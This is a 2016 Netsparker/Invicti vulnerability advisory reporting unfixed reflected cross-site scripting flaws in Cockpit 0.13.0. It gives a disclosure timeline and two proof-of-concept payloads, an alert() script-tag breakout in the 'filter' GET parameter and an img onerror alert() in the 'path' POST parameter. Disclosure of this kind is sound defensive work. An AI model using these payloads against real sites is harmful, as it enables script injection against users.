Multiple Reflected Cross-site Scripting Vulnerabilities in Cockpit 0.13.0
Advisory by Netsparker (now Invicti)
Name: Multiple Reflected Cross-site Scripting Vulnerabilities in Cockpit
Affected Software: Cockpit
Affected Versions: 0.13.0
Vendor Homepage: https://getcockpit.com/
Vulnerability Type: Cross-site Scripting
Status: Not fixed
Invicti Advisory Reference: NS-16-015
Proof of Concept URLs for XSS vulnerabilities in Cockpit;
Parameter Name: filter
Parameter Type: GET
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x0032AA)</scRipt>
Parameter Name: path
Parameter Type: POST
Attack Pattern: ><iMg src=N onerror=alert(9)>
For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).
30 Jun 2016 – Issue reported
Jul – Sep 2016 – Several attempts to get in touch
19 Sep 2016 – Advisory released
Credits & Authors
These issues have been discovered by Omar Kurt while testing Invicti Web Application Security Scanner.
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